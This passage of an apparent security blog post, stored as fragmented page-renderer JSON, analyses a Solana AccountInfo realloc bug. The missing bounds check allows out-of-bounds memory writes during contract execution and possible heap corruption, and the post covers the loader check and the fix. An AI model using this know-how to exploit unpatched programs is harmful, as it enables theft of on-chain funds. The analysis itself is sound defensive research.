void",{"type":21,"tag":198,"props":17353,"children":17354},{"style":683},[17355],{"type":27,"value":5383},{"type":21,"tag":198,"props":17357,"children":17358},{"style":211},[17359],{"type":27,"value":17360}," ptr;\n",{"type":21,"tag":198,"props":17362,"children":17363},{"class":200,"line":260},[17364,17369],{"type":21,"tag":198,"props":17365,"children":17366},{"style":249},[17367],{"type":27,"value":17368}," size_t",{"type":21,"tag":198,"props":17370,"children":17371},{"style":211},[17372],{"type":27,"value":17373}," len;\n",{"type":21,"tag":198,"props":17375,"children":17376},{"class":200,"line":281},[17377],{"type":21,"tag":198,"props":17378,"children":17379},{"style":211},[17380],{"type":27,"value":2357},{"type":21,"tag":30,"props":17382,"children":17383},{},[17384],{"type":27,"value":17385},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":21,"tag":71,"props":17387,"children":17388},{},[17389,17394,17412],{"type":21,"tag":75,"props":17390,"children":17391},{},[17392],{"type":27,"value":17393},"Slices are laid out in the precise manner described",{"type":21,"tag":75,"props":17395,"children":17396},{},[17397,17399,17405,17407],{"type":27,"value":17398},"Pointers and ",{"type":21,"tag":194,"props":17400,"children":17402},{"className":17401},[],[17403],{"type":27,"value":17404},"usize",{"type":27,"value":17406}," are the same width as ",{"type":21,"tag":194,"props":17408,"children":17410},{"className":17409},[],[17411],{"type":27,"value":8853},{"type":21,"tag":75,"props":17413,"children":17414},{},[17415,17416,17421],{"type":27,"value":534},{"type":21,"tag":194,"props":17417,"children":17419},{"className":17418},[],[17420],{"type":27,"value":16306},{"type":27,"value":17422}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":21,"tag":30,"props":17424,"children":17425},{},[17426,17428,17433,17435,17441,17443,17448,17450,17456,17458,17463,17465,17475],{"type":27,"value":17427},"Assumption #2 is ",{"type":21,"tag":1671,"props":17429,"children":17430},{},[17431],{"type":27,"value":17432},"probably",{"type":27,"value":17434}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":21,"tag":194,"props":17436,"children":17438},{"className":17437},[],[17439],{"type":27,"value":17440},"borrow_mut",{"type":27,"value":17442}," of the ",{"type":21,"tag":194,"props":17444,"children":17446},{"className":17445},[],[17447],{"type":27,"value":16306},{"type":27,"value":17449}," (through ",{"type":21,"tag":194,"props":17451,"children":17453},{"className":17452},[],[17454],{"type":27,"value":17455},"AccountInfo::try_borrow_mut_data()",{"type":27,"value":17457},"), and ",{"type":21,"tag":194,"props":17459,"children":17461},{"className":17460},[],[17462],{"type":27,"value":16306},{"type":27,"value":17464}," is not usable between multiple threads",{"type":21,"tag":123,"props":17466,"children":17467},{},[17468],{"type":21,"tag":34,"props":17469,"children":17473},{"href":17470,"ariaDescribedBy":17471,"dataFootnoteRef":7,"id":17472},"#user-content-fn-sendsync",[130],"user-content-fnref-sendsync",[17474],{"type":27,"value":3931},{"type":27,"value":17476},", so we already have exclusive access.",{"type":21,"tag":30,"props":17478,"children":17479},{},[17480,17482,17486],{"type":27,"value":17481},"A few more ",{"type":21,"tag":1671,"props":17483,"children":17484},{},[17485],{"type":27,"value":7919},{"type":27,"value":17487}," things of note, that could have gone badly but didn't:",{"type":21,"tag":138,"props":17489,"children":17490},{},[17491,17533],{"type":21,"tag":75,"props":17492,"children":17493},{},[17494,17496,17502,17504,17509,17511,17516,17518,17523,17525,17531],{"type":27,"value":17495},"By reborrowing the pointer (the ",{"type":21,"tag":194,"props":17497,"children":17499},{"className":17498},[],[17500],{"type":27,"value":17501},"&mut *(\u003Cvalue of type *mut u64>)",{"type":27,"value":17503},"), we've created a reference with an ",{"type":21,"tag":1671,"props":17505,"children":17506},{},[17507],{"type":27,"value":17508},"unbounded lifetime",{"type":27,"value":17510},". Rust is free to infer ",{"type":21,"tag":1671,"props":17512,"children":17513},{},[17514],{"type":27,"value":17515},"any",{"type":27,"value":17517}," lifetime for ",{"type":21,"tag":194,"props":17519,"children":17521},{"className":17520},[],[17522],{"type":27,"value":14756},{"type":27,"value":17524}," (including ",{"type":21,"tag":194,"props":17526,"children":17528},{"className":17527},[],[17529],{"type":27,"value":17530},"'static",{"type":27,"value":17532},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":21,"tag":75,"props":17534,"children":17535},{},[17536,17538,17544,17546,17551,17553,17558,17560,17565,17567,17572,17574,17579,17581,17586,17588,17594,17596,17601,17603,17608,17610,17615,17617,17622,17624,17629],{"type":27,"value":17537},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":21,"tag":194,"props":17539,"children":17541},{"className":17540},[],[17542],{"type":27,"value":17543},"RefMut",{"type":27,"value":17545}," returned from ",{"type":21,"tag":194,"props":17547,"children":17549},{"className":17548},[],[17550],{"type":27,"value":14681},{"type":27,"value":17552},", but the ",{"type":21,"tag":194,"props":17554,"children":17556},{"className":17555},[],[17557],{"type":27,"value":17543},{"type":27,"value":17559}," is dropped at the end of the statement. So, we now have in ",{"type":21,"tag":194,"props":17561,"children":17563},{"className":17562},[],[17564],{"type":27,"value":14756},{"type":27,"value":17566}," a ",{"type":21,"tag":1671,"props":17568,"children":17569},{},[17570],{"type":27,"value":17571},"mutable",{"type":27,"value":17573}," pointer to the ",{"type":21,"tag":194,"props":17575,"children":17577},{"className":17576},[],[17578],{"type":27,"value":16306},{"type":27,"value":17580},"'s data, but the ",{"type":21,"tag":194,"props":17582,"children":17584},{"className":17583},[],[17585],{"type":27,"value":16306},{"type":27,"value":17587}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":21,"tag":194,"props":17589,"children":17591},{"className":17590},[],[17592],{"type":27,"value":17593},"Mutex",{"type":27,"value":17595}," instead of a ",{"type":21,"tag":194,"props":17597,"children":17599},{"className":17598},[],[17600],{"type":27,"value":16306},{"type":27,"value":17602}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":21,"tag":194,"props":17604,"children":17606},{"className":17605},[],[17607],{"type":27,"value":14756},{"type":27,"value":17609}," and writing to it ",{"type":21,"tag":1671,"props":17611,"children":17612},{},[17613],{"type":27,"value":17614},"and succeed",{"type":27,"value":17616},", resulting in us writing while another reference is alive. However, since ",{"type":21,"tag":194,"props":17618,"children":17620},{"className":17619},[],[17621],{"type":27,"value":14756},{"type":27,"value":17623}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":21,"tag":194,"props":17625,"children":17627},{"className":17626},[],[17628],{"type":27,"value":4508},{"type":27,"value":17630}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":21,"tag":30,"props":17632,"children":17633},{},[17634,17636,17641],{"type":27,"value":17635},"Ok, now that we've understood what the code is ",{"type":21,"tag":1671,"props":17637,"children":17638},{},[17639],{"type":27,"value":17640},"trying",{"type":27,"value":17642}," to do, let's try to break it, shall we?",{"type":21,"tag":22,"props":17644,"children":17646},{"id":17645},"what-can-go-wrong",[17647],{"type":27,"value":17648},"What can go wrong?",{"type":21,"tag":59,"props":17650,"children":17652},{"id":17651},"contracts",[17653],{"type":27,"value":17654},"Contracts",{"type":21,"tag":30,"props":17656,"children":17657},{},[17658,17660,17665,17667,17672,17674,17679,17681,17686],{"type":27,"value":17659},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":21,"tag":194,"props":17661,"children":17663},{"className":17662},[],[17664],{"type":27,"value":14445},{"type":27,"value":17666},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":21,"tag":194,"props":17668,"children":17670},{"className":17669},[],[17671],{"type":27,"value":14445},{"type":27,"value":17673}," to some large size, past the end of the buffer of roughly ",{"type":21,"tag":194,"props":17675,"children":17677},{"className":17676},[],[17678],{"type":27,"value":16098},{"type":27,"value":17680}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":21,"tag":194,"props":17682,"children":17684},{"className":17683},[],[17685],{"type":27,"value":4508},{"type":27,"value":17687}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":21,"tag":30,"props":17689,"children":17690},{},[17691,17693,17700],{"type":27,"value":17692},"There is ",{"type":21,"tag":34,"props":17694,"children":17697},{"href":17695,"rel":17696},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[38],[17698],{"type":27,"value":17699},"a check",{"type":27,"value":17701}," by the BPF loader, however, and it boils down to:",{"type":21,"tag":187,"props":17703,"children":17705},{"className":3789,"code":17704,"language":3788,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[17706],{"type":21,"tag":194,"props":17707,"children":17708},{"__ignoreMap":7},[17709,17747,17777,17784,17816],{"type":21,"tag":198,"props":17710,"children":17711},{"class":200,"line":201},[17712,17716,17721,17725,17729,17733,17737,17742],{"type":21,"tag":198,"props":17713,"children":17714},{"style":640},[17715],{"type":27,"value":16382},{"type":21,"tag":198,"props":17717,"children":17718},{"style":226},[17719],{"type":27,"value":17720}," post_len",{"type":21,"tag":198,"props":17722,"children":17723},{"style":683},[17724],{"type":27,"value":658},{"type":21,"tag":198,"props":17726,"children":17727},{"style":698},[17728],{"type":27,"value":15097},{"type":21,"tag":198,"props":17730,"children":17731},{"style":211},[17732],{"type":27,"value":706},{"type":21,"tag":198,"props":17734,"children":17735},{"style":683},[17736],{"type":27,"value":5383},{"type":21,"tag":198,"props":17738,"children":17739},{"style":226},[17740],{"type":27,"value":17741},"pre_len",{"type":21,"tag":198,"props":17743,"children":17744},{"style":211},[17745],{"type":27,"value":17746},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":21,"tag":198,"props":17748,"children":17749},{"class":200,"line":217},[17750,17755,17759,17763,17768,17772],{"type":21,"tag":198,"props":17751,"children":17752},{"style":683},[17753],{"type":27,"value":17754}," ||",{"type":21,"tag":198,"props":17756,"children":17757},{"style":226},[17758],{"type":27,"value":17720},{"type":21,"tag":198,"props":17760,"children":17761},{"style":683},[17762],{"type":27,"value":15000},{"type":21,"tag":198,"props":17764,"children":17765},{"style":211},[17766],{"type":27,"value":17767}," MAX_PERMITTED_DATA_LENGTH ",{"type":21,"tag":198,"props":17769,"children":17770},{"style":249},[17771],{"type":27,"value":9652},{"type":21,"tag":198,"props":17773,"children":17774},{"style":1966},[17775],{"type":27,"value":17776}," usize\n",{"type":21,"tag":198,"props":17778,"children":17779},{"class":200,"line":236},[17780],{"type":21,"tag":198,"props":17781,"children":17782},{"style":211},[17783],{"type":27,"value":11689},{"type":21,"tag":198,"props":17785,"children":17786},{"class":200,"line":260},[17787,17791,17795,17799,17803,17807,17812],{"type":21,"tag":198,"props":17788,"children":17789},{"style":640},[17790],{"type":27,"value":1478},{"type":21,"tag":198,"props":17792,"children":17793},{"style":1966},[17794],{"type":27,"value":16552},{"type":21,"tag":198,"props":17796,"children":17797},{"style":211},[17798],{"type":27,"value":706},{"type":21,"tag":198,"props":17800,"children":17801},{"style":1966},[17802],{"type":27,"value":16561},{"type":21,"tag":198,"props":17804,"children":17805},{"style":683},[17806],{"type":27,"value":4286},{"type":21,"tag":198,"props":17808,"children":17809},{"style":1966},[17810],{"type":27,"value":17811},"InvalidRealloc",{"type":21,"tag":198,"props":17813,"children":17814},{"style":211},[17815],{"type":27,"value":1470},{"type":21,"tag":198,"props":17817,"children":17818},{"class":200,"line":281},[17819],{"type":21,"tag":198,"props":17820,"children":17821},{"style":211},[17822],{"type":27,"value":1120},{"type":21,"tag":30,"props":17824,"children":17825},{},[17826,17828,17833,17835,17840],{"type":27,"value":17827},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":21,"tag":1671,"props":17829,"children":17830},{},[17831],{"type":27,"value":17832},"finishes",{"type":27,"value":17834}," execution. ",{"type":21,"tag":1671,"props":17836,"children":17837},{},[17838],{"type":27,"value":17839},"During",{"type":27,"value":17841}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":21,"tag":30,"props":17843,"children":17844},{},[17845,17847,17852,17854,17859,17861,17868],{"type":27,"value":17846},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":21,"tag":1671,"props":17848,"children":17849},{},[17850],{"type":27,"value":17851},"arbitrary",{"type":27,"value":17853}," memory access through a mistakenly-",{"type":21,"tag":194,"props":17855,"children":17857},{"className":17856},[],[17858],{"type":27,"value":14445},{"type":27,"value":17860},"'d account, this falls in the relm of some ",{"type":21,"tag":34,"props":17862,"children":17865},{"href":17863,"rel":17864},"https://en.wikipedia.org/wiki/Buffer_overflow",[38],[17866],{"type":27,"value":17867},"old-school pwning",{"type":27,"value":17869}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":21,"tag":59,"props":17871,"children":17873},{"id":17872},"not-contracts",[17874],{"type":27,"value":17875},"Not-contracts?",{"type":21,"tag":30,"props":17877,"children":17878},{},[17879,17881,17886,17888,17898,17900,17912,17914,17921,17923,17928,17930,17935,17937,17950,17952,17957,17959,17964],{"type":27,"value":17880},"Remember when we said that all this code makes sense ",{"type":21,"tag":1671,"props":17882,"children":17883},{},[17884],{"type":27,"value":17885},"if the data points to the BPF loader's serialized buffer",{"type":27,"value":17887},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":21,"tag":34,"props":17889,"children":17892},{"href":17890,"rel":17891},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[38],[17893],{"type":21,"tag":194,"props":17894,"children":17896},{"className":17895},[],[17897],{"type":27,"value":15743},{"type":27,"value":17899}," are public, and so is its ",{"type":21,"tag":34,"props":17901,"children":17904},{"href":17902,"rel":17903},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[38],[17905,17910],{"type":21,"tag":194,"props":17906,"children":17908},{"className":17907},[],[17909],{"type":27,"value":15927},{"type":27,"value":17911}," method",{"type":27,"value":17913}," (which is ",{"type":21,"tag":34,"props":17915,"children":17918},{"href":17916,"rel":17917},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[38],[17919],{"type":27,"value":17920},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":27,"value":17922},"). The ",{"type":21,"tag":194,"props":17924,"children":17926},{"className":17925},[],[17927],{"type":27,"value":14445},{"type":27,"value":17929}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":21,"tag":194,"props":17931,"children":17933},{"className":17932},[],[17934],{"type":27,"value":15743},{"type":27,"value":17936}," ourselves - potentially through the ",{"type":21,"tag":34,"props":17938,"children":17941},{"href":17939,"rel":17940},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[38],[17942,17948],{"type":21,"tag":194,"props":17943,"children":17945},{"className":17944},[],[17946],{"type":27,"value":17947},"Account",{"type":27,"value":17949}," trait",{"type":27,"value":17951},", which is hardly documented at all and makes ",{"type":21,"tag":1671,"props":17953,"children":17954},{},[17955],{"type":27,"value":17956},"no",{"type":27,"value":17958}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":21,"tag":194,"props":17960,"children":17962},{"className":17961},[],[17963],{"type":27,"value":4508},{"type":27,"value":17965}," buffer.",{"type":21,"tag":30,"props":17967,"children":17968},{},[17969,17971,17982,17984,17990,17992,17998,18000,18013,18015,18020,18022,18027,18029,18034,18036,18041,18043,18048,18050,18055],{"type":27,"value":17970},"One long arm of this is ",{"type":21,"tag":34,"props":17972,"children":17975},{"href":17973,"rel":17974},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[38],[17976],{"type":21,"tag":194,"props":17977,"children":17979},{"className":17978},[],[17980],{"type":27,"value":17981},"solana_sdk::account::Account",{"type":27,"value":17983}," - in the client SDK. It holds an account's data in a ",{"type":21,"tag":194,"props":17985,"children":17987},{"className":17986},[],[17988],{"type":27,"value":17989},"Vec\u003Cu8>",{"type":27,"value":17991},", and it implements ",{"type":21,"tag":194,"props":17993,"children":17995},{"className":17994},[],[17996],{"type":27,"value":17997},"solana_program::account_info::Account",{"type":27,"value":17999}," (the trait from earlier) - by ",{"type":21,"tag":34,"props":18001,"children":18004},{"href":18002,"rel":18003},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[38],[18005,18007],{"type":27,"value":18006},"returning a reference to the contents of that ",{"type":21,"tag":194,"props":18008,"children":18010},{"className":18009},[],[18011],{"type":27,"value":18012},"Vec",{"type":27,"value":18014},". So, ",{"type":21,"tag":194,"props":18016,"children":18018},{"className":18017},[],[18019],{"type":27,"value":14445},{"type":27,"value":18021}," writes the size into the 8 bytes right before ",{"type":21,"tag":194,"props":18023,"children":18025},{"className":18024},[],[18026],{"type":27,"value":4508},{"type":27,"value":18028},"; ",{"type":21,"tag":194,"props":18030,"children":18032},{"className":18031},[],[18033],{"type":27,"value":4508},{"type":27,"value":18035}," is the buffer of a ",{"type":21,"tag":194,"props":18037,"children":18039},{"className":18038},[],[18040],{"type":27,"value":18012},{"type":27,"value":18042},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":21,"tag":194,"props":18044,"children":18046},{"className":18045},[],[18047],{"type":27,"value":15743},{"type":27,"value":18049}," out of an SDK ",{"type":21,"tag":194,"props":18051,"children":18053},{"className":18052},[],[18054],{"type":27,"value":17947},{"type":27,"value":18056}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":21,"tag":22,"props":18058,"children":18060},{"id":18059},"remediation",[18061],{"type":27,"value":18062},"Remediation",{"type":21,"tag":30,"props":18064,"children":18065},{},[18066],{"type":27,"value":18067},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":21,"tag":30,"props":18069,"children":18070},{},[18071,18073,18078,18080,18085,18087,18098,18100,18105,18107,18114],{"type":27,"value":18072},"The sensible thing to do would be to store the initial size in the ",{"type":21,"tag":194,"props":18074,"children":18076},{"className":18075},[],[18077],{"type":27,"value":15743},{"type":27,"value":18079},"... except for the fact that the layout of ",{"type":21,"tag":194,"props":18081,"children":18083},{"className":18082},[],[18084],{"type":27,"value":15743},{"type":27,"value":18086}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":21,"tag":123,"props":18088,"children":18089},{},[18090],{"type":21,"tag":34,"props":18091,"children":18095},{"href":18092,"ariaDescribedBy":18093,"dataFootnoteRef":7,"id":18094},"#user-content-fn-layout",[130],"user-content-fnref-layout",[18096],{"type":27,"value":18097},"3",{"type":27,"value":18099}," So, with changing ",{"type":21,"tag":194,"props":18101,"children":18103},{"className":18102},[],[18104],{"type":27,"value":15743},{"type":27,"value":18106}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":21,"tag":34,"props":18108,"children":18111},{"href":18109,"rel":18110},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[38],[18112],{"type":27,"value":18113},"this function",{"type":27,"value":185},{"type":21,"tag":187,"props":18116,"children":18118},{"className":3789,"code":18117,"language":3788,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[18119],{"type":21,"tag":194,"props":18120,"children":18121},{"__ignoreMap":7},[18122,18130,18138,18146,18154,18161,18169,18177,18225,18290,18356,18377],{"type":21,"tag":198,"props":18123,"children":18124},{"class":200,"line":201},[18125],{"type":21,"tag":198,"props":18126,"children":18127},{"style":1233},[18128],{"type":27,"value":18129},"/// Return the account's original data length when it was serialized for the\n",{"type":21,"tag":198,"props":18131,"children":18132},{"class":200,"line":217},[18133],{"type":21,"tag":198,"props":18134,"children":18135},{"style":1233},[18136],{"type":27,"value":18137},"/// current program invocation.\n",{"type":21,"tag":198,"props":18139,"children":18140},{"class":200,"line":236},[18141],{"type":21,"tag":198,"props":18142,"children":18143},{"style":1233},[18144],{"type":27,"value":18145},"///\n",{"type":21,"tag":198,"props":18147,"children":18148},{"class":200,"line":260},[18149],{"type":21,"tag":198,"props":18150,"children":18151},{"style":1233},[18152],{"type":27,"value":18153},"/// # Safety\n",{"type":21,"tag":198,"props":18155,"children":18156},{"class":200,"line":281},[18157],{"type":21,"tag":198,"props":18158,"children":18159},{"style":1233},[18160],{"type":27,"value":18145},{"type":21,"tag":198,"props":18162,"children":18163},{"class":200,"line":302},[18164],{"type":21,"tag":198,"props":18165,"children":18166},{"style":1233},[18167],{"type":27,"value":18168},"/// This method assumes that the original data length was serialized as a u32\n",{"type":21,"tag":198,"props":18170,"children":18171},{"class":200,"line":323},[18172],{"type":21,"tag":198,"props":18173,"children":18174},{"style":1233},[18175],{"type":27,"value":18176},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":21,"tag":198,"props":18178,"children":18179},{"class":200,"line":344},[18180,18184,18188,18192,18197,18201,18205,18209,18213,18217,18221],{"type":21,"tag":198,"props":18181,"children":18182},{"style":249},[18183],{"type":27,"value":14497},{"type":21,"tag":198,"props":18185,"children":18186},{"style":249},[18187],{"type":27,"value":15395},{"type":21,"tag":198,"props":18189,"children":18190},{"style":249},[18191],{"type":27,"value":14502},{"type":21,"tag":198,"props":18193,"children":18194},{"style":698},[18195],{"type":27,"value":18196}," original_data_len",{"type":21,"tag":198,"props":18198,"children":18199},{"style":211},[18200],{"type":27,"value":706},{"type":21,"tag":198,"props":18202,"children":18203},{"style":683},[18204],{"type":27,"value":3917},{"type":21,"tag":198,"props":18206,"children":18207},{"style":249},[18208],{"type":27,"value":14520},{"type":21,"tag":198,"props":18210,"children":18211},{"style":211},[18212],{"type":27,"value":1541},{"type":21,"tag":198,"props":18214,"children":18215},{"style":683},[18216],{"type":27,"value":14564},{"type":21,"tag":198,"props":18218,"children":18219},{"style":1966},[18220],{"type":27,"value":14538},{"type":21,"tag":198,"props":18222,"children":18223},{"style":211},[18224],{"type":27,"value":233},{"type":21,"tag":198,"props":18226,"children":18227},{"class":200,"line":365},[18228,18232,18237,18241,18245,18249,18254,18258,18262,18266,18270,18274,18278,18282,18286],{"type":21,"tag":198,"props":18229,"children":18230},{"style":249},[18231],{"type":27,"value":3809},{"type":21,"tag":198,"props":18233,"children":18234},{"style":226},[18235],{"type":27,"value":18236}," key_ptr",{"type":21,"tag":198,"props":18238,"children":18239},{"style":683},[18240],{"type":27,"value":979},{"type":21,"tag":198,"props":18242,"children":18243},{"style":249},[18244],{"type":27,"value":14604},{"type":21,"tag":198,"props":18246,"children":18247},{"style":683},[18248],{"type":27,"value":658},{"type":21,"tag":198,"props":18250,"children":18251},{"style":211},[18252],{"type":27,"value":18253},"key ",{"type":21,"tag":198,"props":18255,"children":18256},{"style":249},[18257],{"type":27,"value":9652},{"type":21,"tag":198,"props":18259,"children":18260},{"style":683},[18261],{"type":27,"value":10626},{"type":21,"tag":198,"props":18263,"children":18264},{"style":249},[18265],{"type":27,"value":2648},{"type":21,"tag":198,"props":18267,"children":18268},{"style":226},[18269],{"type":27,"value":3845},{"type":21,"tag":198,"props":18271,"children":18272},{"style":249},[18273],{"type":27,"value":9638},{"type":21,"tag":198,"props":18275,"children":18276},{"style":683},[18277],{"type":27,"value":10626},{"type":21,"tag":198,"props":18279,"children":18280},{"style":249},[18281],{"type":27,"value":2648},{"type":21,"tag":198,"props":18283,"children":18284},{"style":1966},[18285],{"type":27,"value":15439},{"type":21,"tag":198,"props":18287,"children":18288},{"style":211},[18289],{"type":27,"value":1483},{"type":21,"tag":198,"props":18291,"children":18292},{"class":200,"line":386},[18293,18297,18302,18306,18310,18314,18318,18322,18326,18331,18335,18339,18343,18347,18352],{"type":21,"tag":198,"props":18294,"children":18295},{"style":249},[18296],{"type":27,"value":3809},{"type":21,"tag":198,"props":18298,"children":18299},{"style":226},[18300],{"type":27,"value":18301}," original_data_len_ptr",{"type":21,"tag":198,"props":18303,"children":18304},{"style":683},[18305],{"type":27,"value":979},{"type":21,"tag":198,"props":18307,"children":18308},{"style":226},[18309],{"type":27,"value":18236},{"type":21,"tag":198,"props":18311,"children":18312},{"style":683},[18313],{"type":27,"value":658},{"type":21,"tag":198,"props":18315,"children":18316},{"style":698},[18317],{"type":27,"value":14708},{"type":21,"tag":198,"props":18319,"children":18320},{"style":211},[18321],{"type":27,"value":706},{"type":21,"tag":198,"props":18323,"children":18324},{"style":683},[18325],{"type":27,"value":5139},{"type":21,"tag":198,"props":18327,"children":18328},{"style":2540},[18329],{"type":27,"value":18330},"4",{"type":21,"tag":198,"props":18332,"children":18333},{"style":211},[18334],{"type":27,"value":1541},{"type":21,"tag":198,"props":18336,"children":18337},{"style":249},[18338],{"type":27,"value":9652},{"type":21,"tag":198,"props":18340,"children":18341},{"style":683},[18342],{"type":27,"value":10626},{"type":21,"tag":198,"props":18344,"children":18345},{"style":249},[18346],{"type":27,"value":2648},{"type":21,"tag":198,"props":18348,"children":18349},{"style":1966},[18350],{"type":27,"value":18351}," u32",{"type":21,"tag":198,"props":18353,"children":18354},{"style":211},[18355],{"type":27,"value":1483},{"type":21,"tag":198,"props":18357,"children":18358},{"class":200,"line":408},[18359,18364,18369,18373],{"type":21,"tag":198,"props":18360,"children":18361},{"style":683},[18362],{"type":27,"value":18363}," *",{"type":21,"tag":198,"props":18365,"children":18366},{"style":226},[18367],{"type":27,"value":18368},"original_data_len_ptr",{"type":21,"tag":198,"props":18370,"children":18371},{"style":249},[18372],{"type":27,"value":9638},{"type":21,"tag":198,"props":18374,"children":18375},{"style":1966},[18376],{"type":27,"value":17776},{"type":21,"tag":198,"props":18378,"children":18379},{"class":200,"line":429},[18380],{"type":21,"tag":198,"props":18381,"children":18382},{"style":211},[18383],{"type":27,"value":1120},{"type":21,"tag":30,"props":18385,"children":18386},{},[18387,18389,18394,18396,18401,18403,18408,18410,18415,18417,18424,18426,18433,18434,18441,18442,18449,18450,18457],{"type":27,"value":18388},"It's marked ",{"type":21,"tag":194,"props":18390,"children":18392},{"className":18391},[],[18393],{"type":27,"value":15161},{"type":27,"value":18395},", properly documented, but there's just one problem: we need this for ",{"type":21,"tag":194,"props":18397,"children":18399},{"className":18398},[],[18400],{"type":27,"value":14445},{"type":27,"value":18402},", which originally was not ",{"type":21,"tag":194,"props":18404,"children":18406},{"className":18405},[],[18407],{"type":27,"value":15161},{"type":27,"value":18409},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":21,"tag":194,"props":18411,"children":18413},{"className":18412},[],[18414],{"type":27,"value":15161},{"type":27,"value":18416}," block and added ",{"type":21,"tag":34,"props":18418,"children":18421},{"href":18419,"rel":18420},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[38],[18422],{"type":27,"value":18423},"a doc comment",{"type":27,"value":18425}," - adding to the ",{"type":21,"tag":34,"props":18427,"children":18430},{"href":18428,"rel":18429},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[38],[18431],{"type":27,"value":18432},"small",{"type":27,"value":915},{"type":21,"tag":34,"props":18435,"children":18438},{"href":18436,"rel":18437},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[38],[18439],{"type":27,"value":18440},"pile",{"type":27,"value":915},{"type":21,"tag":34,"props":18443,"children":18446},{"href":18444,"rel":18445},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[38],[18447],{"type":27,"value":18448},"of",{"type":27,"value":915},{"type":21,"tag":34,"props":18451,"children":18454},{"href":18452,"rel":18453},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[38],[18455],{"type":27,"value":18456},"functions",{"type":27,"value":18458}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":21,"tag":22,"props":18460,"children":18462},{"id":18461},"towards-safer-unsafe",[18463,18465],{"type":27,"value":18464},"Towards safer ",{"type":21,"tag":194,"props":18466,"children":18468},{"className":18467},[],[18469],{"type":27,"value":15161},{"type":21,"tag":30,"props":18471,"children":18472},{},[18473,18475,18480,18482,18487,18489,18496],{"type":27,"value":18474},"Let's circle back to that main ",{"type":21,"tag":194,"props":18476,"children":18478},{"className":18477},[],[18479],{"type":27,"value":15161},{"type":27,"value":18481}," block inside ",{"type":21,"tag":194,"props":18483,"children":18485},{"className":18484},[],[18486],{"type":27,"value":14445},{"type":27,"value":18488}," for a bit, shall we? As a reminder, it looks like 